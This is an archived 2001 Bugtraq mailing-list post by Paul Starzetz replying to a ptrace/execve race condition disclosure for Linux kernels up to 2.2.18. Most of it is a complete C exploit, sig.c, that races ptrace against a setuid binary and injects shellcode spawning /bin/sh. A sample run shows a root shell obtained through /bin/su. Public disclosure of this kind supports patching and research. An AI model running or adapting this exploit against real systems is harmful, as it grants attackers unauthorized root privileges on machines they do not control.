[19977] in bugtraq

home help back first fref pref prev next nref lref last post

Re: ptrace/execve race condition exploit (brute force)

daemon@ATHENA.MIT.EDU (Paul Starzetz)
Sat Mar 31 22:17:23 2001

MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <3AC616FD.EC86944F@starzetz.de>
Date:         Sat, 31 Mar 2001 19:42:22 +0200
Reply-To: Paul Starzetz <paul@STARZETZ.DE>
From: Paul Starzetz <paul@STARZETZ.DE>
X-To:         Wojciech Purczynski <wp@ELZABSOFT.PL>
To: BUGTRAQ@SECURITYFOCUS.COM

Wojciech Purczynski wrote:
>
> Hi,
>
> Here is exploit for ptrace/execve race condition bug in Linux kernels up
> to 2.2.18.
>

As far as I understand it, the race condition exists between preparing the bprm structure inside the
kernel (which will carry the suid/sgid credentials) and setting the effective credentials for
current proccess. While playing around with the exploit, I found that the following code will do the
job much effectivelly :-)

The idea is to consume as much as possible physical memory and leave the child proces with async i/o
and open (close on exec) file descriptors. Of course, reading and writing the big file will affect
the file cache too.

The code will work even repeatedly on the same suid binary (as far as tested on 4 different boxes,
problems encountered if creating the file on reiserfs...), it may iterate few times:


paul@ps:/usr/home/paul/tmp2 > ./sig /bin/su

Memaval: 264122368

Wait for ./dupa1151845033.dat...     1

SUCCESS !

EAX:        0   EBX:        0   ECX:        0   EDX:        0
ESI:        0   EDI:        0   EBP:        0   OAX:        b
EFL:      246   ESP: 7ffff7b0   EIP: 7ffff7b0

sh-2.04#


The "EAX:        0" line indicates the successfull call to execve() and the value 0xb in OAX that we
attached while execve() was called.

Ihq.


--------------------------------- sig.c -----------------------------------------

/********************************************************************************
*										*
*	Ptrace execve race exploit						*
*	by IhaQueR								*
*	basic idea by Wojciech Purczynski					*
*	(note, it is still broken)						*
*										*
********************************************************************************/





#include <unistd.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <signal.h>
#include <sys/wait.h>
#include <asm/ptrace.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>



#define SHELL "/bin/sh"
#define SHELL_LEN "\x06"

char shellcode[1024]=
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"		
	"\x31\xc0\xb0\x2e\xcd\x80"
	"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"		
	"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
	"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
	"\xff" SHELL ;



volatile int sig=0;

volatile int parent=0;
volatile int child=0;


void chldstart(int v)
{
		sig=1;
}


dumpregs(volatile struct user_regs_struct* pt)
{
		printf("\n");
		printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt->eax, pt->ebx, pt->ecx, pt->edx);
		printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt->esi, pt->edi, pt->ebp, pt->orig_eax);
		printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt->eflags, pt->esp, pt->eip);
		printf("\n");
		fflush(stdout);
}


main(int ac, char** av)
{

int res;
volatile struct user_regs_struct pt;
int i;
char* buf;
FILE* fp;
char tmp[1024];
char tmpfile[1024];
unsigned memaval=0;


		if(ac < 2) {
			printf("\nUsage: %s <suid bin> [<mem aval>]]\n\n", av[0]);
			exit(1);
		}
		
		if(ac > 2) {
			memaval=atoi(av[2]);		
		}
		
		setsid();
		setpgrp();
		srand(time(NULL));
		sprintf(tmpfile, "./dupa%08d.dat", rand());
                system("rm -rf dupa*.dat");

		parent=getpid();

//	get mem
		if(memaval <= 0) {
			fp = fopen("/proc/meminfo", "r");
			if(i<0) {printf("\n"); perror("meminfo"); exit(1);}
			fgets(tmp, 1023, fp);
			fscanf(fp, "%s %d", tmp, &memaval);
			fclose(fp);
		}
							
		signal(SIGUSR1, &chldstart);
		
		printf("\nMemaval: %d\n", memaval);
		printf("\nWait for %s... ", tmpfile);	
		fflush(stdout);
			
		i=0;
				
		while(1) {

			i++;
			sig=0;

			if((child=fork())) {
				
				kill(child, SIGUSR1);

				while(!sig);
			
				res = ptrace(PTRACE_ATTACH, child);
				
				if(res) {
					kill(child, SIGKILL);
					waitpid(child, NULL, 0);
					fprintf(stdout, " %4i ", i);
					fflush(stdout);
					continue;
				}

				waitpid(child, NULL, WUNTRACED);

				res = ptrace(PTRACE_SYSCALL, child, 0, 0);
				if(res) {perror("syscall"); kill(0, SIGKILL); exit(1); }
				waitpid(child, NULL, WUNTRACED);

				res = ptrace(PT_GETREGS, child, 0, &pt);
				if(res) {printf("\n"); perror("getregs"); kill(0, SIGKILL); exit(1);}
				
				pt.eip=pt.esp;

				if(pt.eax) {
					res = ptrace(PT_DETACH, child, 0, 0);
					kill(child, SIGKILL);
					waitpid(child, NULL, 0);
					fprintf(stdout, " BAD EAX  ");
					fflush(stdout);
					continue;
				}

				for (i=0; i<strlen(shellcode); i+=4) {
					if(ptrace(PTRACE_POKEDATA, child, pt.eip+i,
						    *(int*)(shellcode+i))) {
						perror("ptrace: PTRACE_POKETEXT");
						kill(0, SIGKILL);
						exit(1);
					}
				}
				

				if (ptrace(PTRACE_GETREGS, child, 0, &pt)) {
					perror("ptrace: PTRACE_GETREGS");
					kill(0, SIGKILL);
					exit(1);	
				}

				printf("\n\nSUCCESS !\n");
				dumpregs(&pt);

				res = ptrace(PT_DETACH, child, 0, 0);
				if(res) {printf("\n"); perror("detach"); exit(1); }

				waitpid(child, NULL, 0);
                                system("rm -rf dupa*.dat");
				kill(0, SIGUSR1);
				kill(0, SIGKILL);
				exit(1);

			}
			else {
				res = setpriority(PRIO_PROCESS, getpid(), 20);
				if(res) {printf("\n"); perror("priority"); exit(1); }

				while(!sig);
				
				buf=(char*)malloc(memaval);
				if(!buf) {printf("\n"); perror("malloc"); exit(1); }
				i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC, S_IRWXU);
				if(i>0) {
					write(i, buf, memaval);
					fcntl(i, F_SETFD, 1);
					fcntl(i, F_SETFL, O_NONBLOCK);				
					read(i, buf, memaval);
                                }
				(void)kill(parent, SIGUSR1);
				(void)execl(av[1], av[1],  "--blah", NULL);
			}

		}

		printf("\n");
		kill(0, SIGUSR1);
}

home help back first fref pref prev next nref lref last post